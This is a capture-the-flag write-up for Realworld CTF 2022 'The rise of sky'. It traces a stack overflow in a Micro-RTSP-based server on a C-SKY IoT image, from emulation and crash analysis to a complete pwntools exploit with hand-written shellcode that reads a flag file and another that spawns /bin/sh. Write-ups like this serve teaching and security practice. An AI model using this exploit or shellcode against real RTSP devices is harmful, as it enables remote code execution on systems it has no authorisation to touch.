Realworld CTF 2022 “The rise of sky” writeup

0x1 Challenge accepted

We’re given a small compressed file, the first thing to do is throw it in binwalk :).

Looks like a iot system image packed with CramFS, we gotta install some cramfs tools in order to unpack this file.

apt install cramfsprogs

spoiler: binwalk -e sucks, although it can unpack this image, you won’t get all files inside it, binwalk stops nowhere and idk why.

OK, you may wonder why we need sudo to extract the image? Simply because image contains some symbol link to /proc/self/mem or other root stuff that we have to sudo to extract.

Well you don’t see anything interesting besides a demo.mjpeg and a fake flag file, where is the target binary?

0x2 Enemy spotted

Target server is actually at /usr/bin/server!

Let’s pull that out and fire up IDA! Oh… wait..

WTF is mcore? I never heard that before, after some some google fu, I found something in wikipedia.

Looks like only c-sky cpu can fully support this weird thing, so wtf is c-sky cpu?

C-SKY cpu arch actually has a somewhat nice github page here. you can check more information in there website but the most important part is they have a buildroot for this arch!

In this github release page you’ll find some buildroot releases, I choose “c810/807 linux-5.10” one.

Download and unpack everything from gitlab artifacts, and ?

READ THE FUCKING README.TXT FIRST

well there’s a readme_advanced.txt, I highly suggest you read that file too.

0x3 Testing server

Since our lovely ida refuses to load this binary just like every girl I like refuses me, I decided to just run this binary first and see how it goes.

In readme_advanced.txt, we actually can run this custom qemu image with network support which is very import for debugging.

Everything we need is in the unpacked folder we downloaded in step 2, including gdb/gdbserver/qemu.

Copy gdbserver , our target server and demo.mpeg into new qemu machine:

Fire up qemu with network support:

./host/csky-qemu/bin/qemu-system-cskyv2 -M virt -cpu c810v -kernel Image -nographic -append "console=ttyS0,115200 rdinit=/sbin/init rootwait root=/dev/vda ro" -drive file=rootfs.ext2,format=raw,id=hd0 -device virtio-blk-device,drive=hd0 -netdev tap,script=no,id=net0 -device virtio-net-device,netdev=net0

Setting correct ip address in host:

sudo ifconfig tap0 192.168.101.200

Setting correct ip address in qemu guest:

ifconfig eth0 192.168.101.23

Technically you can set whatever ip address you want but I’ll go with this for now.

But wait, how to run the server? Let’s go back to challenge image folder and grep the server path, there should be some script that launches the server, we can guess correct parameters there.

Got it, the correct command line should be:

./server demo.mjpeg 800 450

The two number should be width and height of the rdsp stream, which is actually width and height of demo.mjpeg.

Let’s run our server inside qemu and see what happens.

# ./server ./demo.mjpeg 800 450 
running RTSP server

Hmm nothing interesting, it should listen on some port, let’s run server in background and check netstat.

# ./server ./demo.mjpeg 800 450 &
# running RTSP server

# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 0.0.0.0:8554            0.0.0.0:*               LISTEN      
netstat: /proc/net/tcp6: No such file or directory
netstat: /proc/net/udp6: No such file or directory
netstat: /proc/net/raw6: No such file or directory
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
netstat: /proc/net/unix: bogus data on line 2
netstat: /proc/net/unix: bogus data on line 3

See that 8554? That’s our sweet port.

But how exactly can we connect to this port? What protocol can we use?

0x4 Darkness of RTSP

After no luck in reversing and port connection, I decided to turn my eyes on actual target server hosted by RWCTF.

Since I cannot reproduce this part because CTF server is closed, I’ll just let you know that platform server port will return a rtsp url after inputting your team token, and we can actually view it with VLC :).

Nothing interesting here, but we can reuse this url to make similar requests to our testing server.

vlc -v rtsp://192.168.101.23:8554/mjpeg/1

And you should see something like this in qemu:

# ./server ./demo.mjpeg 800 450 &
# running RTSP server

# Client connected. Client address: 192.168.101.200
Creating TSP streamer
file streamer constructor
Creating RTSP session
RTSP received OPTIONS
RTSP received DESCRIBE
RTSP received SETUP
RTSP received PLAY
file streamer streamImage
....

So now what?

In this type of CTF, I highly doubt they write a fresh rtsp server from scratch, so I searched some strings in Github and eventually I found this repo.

And this file https://github.com/geeksville/Micro-RTSP/blob/master/src/CRtspSession.cpp#L65.

I can confirm this challenge borrow some code from this repo with 99% confidence, look at how similar the strings are, guys.

That BIG strcpy is super interesting at first glance, and indeed this is a stack overflow bug!

Let’s test this bug in our testing server and see if it exists!

0x5 Overflow the sky

We must have string “client_port” in our packet of course, but that’s not enough.

In line 402 of source code:

    int res = socketread(m_RtspClient,RecvBuf,sizeof(RecvBuf), readTimeoutMs);
    if(res > 0) {
        // we filter away everything which seems not to be an RTSP command: O-ption, D-escribe, S-etup, P-lay, T-eardown
        if ((RecvBuf[0] == 'O') || (RecvBuf[0] == 'D') || (RecvBuf[0] == 'S') || (RecvBuf[0] == 'P') || (RecvBuf[0] == 'T'))
        {
            RTSP_CMD_TYPES C = Handle_RtspRequest(RecvBuf,res);
            if (C == RTSP_PLAY)
                m_streaming = true;
            else if (C == RTSP_TEARDOWN)
                m_stopped = true;
        }

Here it checks if first byte of tcp packet is “O”,”D”,”S”,”P” or “T”, if check fails server won’t handle it as rtsp packet.

And the actual bug code:

    char * ClientPortPtr;
    char * TmpPtr;
    static char CP[1024];
...
    ClientPortPtr = strstr(CurRequest,"client_port");
    if (ClientPortPtr != nullptr)
    {
        TmpPtr = strstr(ClientPortPtr,"\r\n");
        if (TmpPtr != nullptr)
        {
            TmpPtr[0] = 0x00;
            strcpy(CP,ClientPortPtr);
...

Here it checks if request packet have string “client_port” or not, and simply copy ANYTHING after “client_port” till “\r\n” to variable CP, which resides in STACK.

Time to craft our testing script.

from pwn import *

debug = 1
context.log_level = 'debug'

if debug:
    p = remote('192.168.101.23', 8554)
else:
    p = remote('47.242.246.203', 32042)

test = b'Oclient_port' + b'a' * 2000 + b'\r\n'

p.send(test)
# p.sendline(test)
p.interactive()

And server crashed!

[ 3167.446179] server[124]: unhandled signal 11 code 0x1 at 0x61616000
[ 3167.449816] 
[ 3167.449816] CURRENT PROCESS:
[ 3167.449816] 
[ 3167.450191] COMM=server PID=124
[ 3167.450447] TEXT=00008000-00138090 DATA=0013976c-0013f4e8 BSS=0013f4e8-01b75000
[ 3167.450899] USER-STACK=7f860e60  KERNEL-STACK=817a7700
[ 3167.450899] 
[ 3167.451604] PC: 0x61616160 (0x61616160)
[ 3167.451872] LR: 0x61616161 (0x61616161)
[ 3167.452362] SP: 0x7f860800
[ 3167.452550] PSR: 0x00140341
[ 3167.452958] orig_a0: 0x00000000
[ 3167.453129] PT_REGS: 0x817eff68
[ 3167.453380]  a0: 0x00000000   a1: 0x00000000   a2: 0x00163568   a3: 0x00000000
[ 3167.453739]  r4: 0x61616161   r5: 0x00000320   r6: 0x00000000   r7: 0x00000000
[ 3167.454170]  r8: 0x61616161   r9: 0x0053e45c  r10: 0x000ec6fc  r11: 0x00000001
[ 3167.454613] r12: 0x00000001  r13: 0x00000001  r15: 0x61616161
[ 3167.455078] r16: 0x00000000  r17: 0x0053e558  r18: 0x00163568  r19: 0x00000000
[ 3167.455406] r20: 0x0013fceb  r21: 0x0000000a  r22: 0x00000001  r23: 0x00000001
[ 3167.456234] r24: 0x01b53478  r25: 0x00000054  r26: 0x77e159f0  r27: 0x00000000
[ 3167.456546] r28: 0x77ec1000  r29: 0x00000000  r30: 0x00000000  tls: 0x01b53478
[ 3167.457641]  hi: 0x00000000   lo: 0x00000000

The pc register has been hijacked successfully! Stack overflow is real!

After some testing we can confirm we need exactly 1273 bytes of “a” to reach the final PC hijack point.

test = b'Oclient_port' + b'a' * 1273+p32(0x12345678) + b'\r\n'
[ 3349.657774] server[125]: unhandled signal 11 code 0x1 at 0x12345000
[ 3349.661123] 
[ 3349.661123] CURRENT PROCESS:
[ 3349.661123] 
[ 3349.661832] COMM=server PID=125
[ 3349.662149] TEXT=00008000-00138090 DATA=0013976c-0013f4e8 BSS=0013f4e8-01b75000
[ 3349.662476] USER-STACK=7f860e60  KERNEL-STACK=817a8840
[ 3349.662476] 
[ 3349.663194] PC: 0x12345678 (0x12345678)
[ 3349.663965] LR: 0x12345678 (0x12345678)
[ 3349.664348] SP: 0x7f860800
[ 3349.664758] PSR: 0x00140341
[ 3349.664962] orig_a0: 0x00000000
[ 3349.665287] PT_REGS: 0x81d91f68
[ 3349.665508]  a0: 0x00000000   a1: 0x00000000   a2: 0x00163568   a3: 0x00000000
[ 3349.666069]  r4: 0x7f860f00   r5: 0x00000320   r6: 0x00000000   r7: 0x00000000
[ 3349.666593]  r8: 0x61616161   r9: 0x0053e45c  r10: 0x000ec6fc  r11: 0x00000001
[ 3349.667269] r12: 0x00000001  r13: 0x00000001  r15: 0x12345678
[ 3349.667749] r16: 0x00000000  r17: 0x0053e558  r18: 0x00163568  r19: 0x00000000
[ 3349.668210] r20: 0x0013fa18  r21: 0x0000000a  r22: 0x00000001  r23: 0x00000001
[ 3349.668644] r24: 0x01b53478  r25: 0x00000054  r26: 0x77e159f0  r27: 0x00000000
[ 3349.669210] r28: 0x77ec1000  r29: 0x00000000  r30: 0x00000000  tls: 0x01b53478
[ 3349.669679]  hi: 0x00000000   lo: 0x00000000

Don’t do ROP too fast, let’s check target’s maps.

# cat /proc/122/maps
00008000-00139000 r-xp 00000000 fe:00 10162      /server
00139000-00140000 rw-p 00130000 fe:00 10162      /server
00140000-00164000 rwxp 00000000 00:00 0 
01b53000-01b75000 rwxp 00000000 00:00 0          [heap]
77f4a000-77f4c000 r-xp 00000000 00:00 0          [vdso]
77f4c000-77f4d000 r--p 00000000 00:00 0 
7f840000-7f861000 rwxp 00000000 00:00 0          [stack]

Target has no NX/ASLR enabled!

So we just need to jmp esp…..Oh wait.

0x6 Debugging and shellcoding

We haven’t use any gdb till now, we have 2 options to exploit this bug:

  • Eliminate any \x00\r\n in shellcode, directly jump to stack.
  • Find something interesting in fixed address and jump

I’ve considered first solution and not only it is very tedious, but also we don’t know if zerofree shellcode is possible.

So let’s check if we can find something interesting in gdb.

Create a gdb file first, because this gdb is very primitive, you need to add some juice.

define hook-stop
info registers
x/24wx  $sp
x/5i  $pc
end
set follow-fork-mode child
target remote 192.168.101.23:2222

Tips: if you encounter some error while running gdb, try add lib path to LD_LIBRARY_PATH

export LD_LIBRARY_PATH=/your/path/csky-toolchain/host/lib

And let’s connect our gdb to gdbserver, run this in guest:

/gdbserver --attach 0.0.0.0:2222 <your server pid> &

Run our primitive gdb in host:

./csky-linux-gdb -x <your gdb script file>

You’ll see something similar to this if you trigger overflow again.

Thread 2.1 "server" received signal SIGSEGV, Segmentation fault.
r0             0x0	0
r1             0x0	0
r2             0x163568	1455464
r3             0x0	0
r4             0x7fd46f00	2144628480
r5             0x320	800
r6             0x0	0
r7             0x0	0
r8             0x61616161	1633771873
r9             0x53e45c	5497948
r10            0xec6fc	968444
r11            0x1	1
r12            0x1	1
r13            0x1	1
r14            0x7fd46800	0x7fd46800
r15            0x12345678	305419896
r16            0x0	0
r17            0x53e558	5498200
r18            0x163568	1455464
r19            0x0	0
r20            0x13fa18	1309208
r21            0xa	10
r22            0x1	1
r23            0x1	1
r24            0xbdb478	12432504
r25            0x54	84
r26            0x77e159f0	2011257328
r27            0x0	0
r28            0x77ec1000	2011959296
r29            0x0	0
r30            0x0	0
r31            0x0	0
pc             0x12345678	0x12345678
epc            <unavailable>
psr            0x140341	1311553
epsr           <unavailable>
0x7fd46800:	0x0000050b	0x001436e8	0x7fd46848	0x7fd46824
0x7fd46810:	0x0000a5ac	0x00000190	0x7fd46848	0x00000004
0x7fd46820:	0x0000050b	0x7fd46d34	0x000083c0	0x000001c2
0x7fd46830:	0x000001c2	0x00000320	0x7fd46f4f	0x00000004
0x7fd46840:	0x00bdb478	0x00000348	0x7fd40000	0xeb8b4567
0x7fd46850:	0x00000004	0xffffffff	0x00000000	0x00000000
=> 0x12345678:	Error while running hook_stop:
Cannot access memory at address 0x12345678
0x12345678 in ?? ()

Can you spot $r20 is interesting? It points to somewhere in data/bss segment, they have fixed address because no ASLR.

(cskygdb) x/20bx 0x13fa18
0x13fa18:	0x12	0x00	0x0a	0x00	0x00	0x00	0x00	0x00
0x13fa20:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x13fa28:	0x00	0x00	0x00	0x00
(cskygdb)  x/20bx 0x13fa10
0x13fa10:	0x61	0x61	0x61	0x61	0x61	0x78	0x56	0x34
0x13fa18:	0x12	0x00	0x0a	0x00	0x00	0x00	0x00	0x00
0x13fa20:	0x00	0x00	0x00	0x00

Our packet is stored in FIXED ADDRESS!

So here the solution is very obvious, control pc–>ret to fixed packet address –> shellcode!

How to generate this weird arch shellcode? Fortunately we have a gcc built in our toolchain, so just static compile your code, dump assembly by readelf and craft your shellcode. Talk is easy, you’ll find it very time-consuming and feel frustrated.

FYFI here’s the shellcode I used:

# shellcode for open read write
subi              sp, sp, 12
st.w              r8, (sp, 0)
st.w              r15, (sp, 0x4)
st.w              r4, (sp, 0x8)
mov              r8, sp
subi              sp, sp, 276
subi              r3, r8, 20
movi              r2, 47
st.b              r2, (r3, 0)
subi              r3, r8, 20
movi              r2, 102
st.b              r2, (r3, 0x1)
subi              r3, r8, 20
movi              r2, 108
st.b              r2, (r3, 0x2)
subi              r3, r8, 20
movi              r2, 97
st.b              r2, (r3, 0x3)
subi              r3, r8, 20
movi              r2, 103
st.b              r2, (r3, 0x4)
subi              r3, r8, 20
movi              r2, 0
st.b              r2, (r3, 0x5)
subi              r4, r8, 4
subi              r3, r8, 20
movi              r0, 0
mov              r1, r3
subi              r0, 100
movi              r7, 56
trap              0

lsli              r0, r0, 0
st.w              r0, (r4, 0)
subi              r1, r8, 276
subi              r3, r8, 4
movi              r2, 256
ld.w              r0, (r3, 0)
movi              r7, 63
trap              0

lsli              r0, r0, 0
subi              r3, r8, 276
movi              r2, 4096
mov              r1, r3
movi              r0, 4
movi              r7, 64
trap              0

Why use open-read-write? Because u cannot communicate if u popped a shell in forked process, unless you dup some socket to 0,1,2, I chose not to do that.

0x7 Final exploit

Here’s my final exploit:

from pwn import *

debug = 0
context.log_level = 'debug'
# 0x000093fc 0x9270 0x9294
base = 0x13f510
if debug:
    p = remote('192.168.101.23', 8554)
else:
    p = remote('47.242.246.203', 32042)

sc = [
    0x23, 0x14, 0x0E, 0xDD, 0x00, 0x20, 0xEE, 0xDD, 0x01, 0x20, 0x82, 0xB8, 0x3B, 0x6E, 0x25, 0x16,
    0x68, 0xE4, 0x13, 0x10, 0x2F, 0x32, 0x40, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x66, 0x32, 0x41, 0xA3,
    0x68, 0xE4, 0x13, 0x10, 0x6C, 0x32, 0x42, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x61, 0x32, 0x43, 0xA3,
    0x68, 0xE4, 0x13, 0x10, 0x67, 0x32, 0x44, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x00, 0x32, 0x45, 0xA3,
    0x88, 0xE4, 0x03, 0x10, 0x68, 0xE4, 0x13, 0x10, 0x00, 0x30, 0x4F, 0x6C, 0x63, 0x28, 0x38, 0x37,
    0x00, 0xC0, 0x20, 0x20, 0x00, 0x40, 0x00, 0xB4, 0x28, 0xE4, 0x13, 0x11, 0x68, 0xE4, 0x03, 0x10,
    0x02, 0xEA, 0x00, 0x01, 0x00, 0x93, 0x3F, 0x37, 0x00, 0xC0, 0x20, 0x20, 0x00, 0x40, 0x68, 0xE4,
    0x13, 0x11, 0x02, 0xEA, 0x00, 0x10, 0x4F, 0x6C, 0x04, 0x30, 0x40, 0x37, 0x00, 0xC0, 0x20, 0x20,
    0x00, 0x6C, 0xA3, 0x6F, 0x82, 0x98, 0xEE, 0xD9, 0x01, 0x20, 0x0E, 0xD9, 0x00, 0x20, 0x03, 0x14,

    # useless shellcode just for stucking process, popping a sh lol.
    0x22, 0x14, 0x0E, 0xDD, 0x00, 0x20, 0xEE, 0xDD, 0x01, 0x20, 0x3B, 0x6E, 0x2A, 0x14, 0x68, 0xE4,
    0x0F, 0x10, 0x2F, 0x32, 0x40, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x41, 0xA3, 0x68, 0xE4,
    0x0F, 0x10, 0x69, 0x32, 0x42, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x6E, 0x32, 0x43, 0xA3, 0x68, 0xE4,
    0x0F, 0x10, 0x2F, 0x32, 0x44, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x45, 0xA3, 0x68, 0xE4,
    0x0F, 0x10, 0x75, 0x32, 0x46, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x73, 0x32, 0x47, 0xA3, 0x68, 0xE4,
    0x0F, 0x10, 0x79, 0x32, 0x48, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x49, 0xA3, 0x68, 0xE4,
    0x0F, 0x10, 0x6F, 0x32, 0x4A, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x78, 0x32, 0x4B, 0xA3, 0x68, 0xE4,
    0x0F, 0x10, 0x00, 0x32, 0x4C, 0xA3, 0x68, 0xE4, 0x17, 0x10, 0x73, 0x32, 0x40, 0xA3, 0x68, 0xE4,
    0x17, 0x10, 0x68, 0x32, 0x41, 0xA3, 0x68, 0xE4, 0x17, 0x10, 0x00, 0x32, 0x42, 0xA3, 0x68, 0xE4,
    0x23, 0x10, 0x48, 0xE4, 0x0F, 0x10, 0x40, 0xB3, 0x68, 0xE4, 0x23, 0x10, 0x48, 0xE4, 0x17, 0x10,
    0x41, 0xB3, 0x68, 0xE4, 0x23, 0x10, 0x00, 0x32, 0x42, 0xB3, 0x68, 0xE4, 0x27, 0x10, 0x00, 0x32,
    0x40, 0xB3, 0x48, 0xE4, 0x27, 0x10, 0x28, 0xE4, 0x23, 0x10, 0x68, 0xE4, 0x0F, 0x10, 0x0F, 0x6C,
    0xE0, 0xB8, 0xDD, 0x37, 0x00, 0xC0, 0x20, 0x20, 0x02, 0x14, 0x3C, 0x78
]

test = b'Oclient_port' + b'a' * 1273 + p32(0x13fa1c)[:3] + b'\r\nbb' + bytearray(sc) + b'\r\n'

p.send(test)
p.interactive()

What a long post, thank you!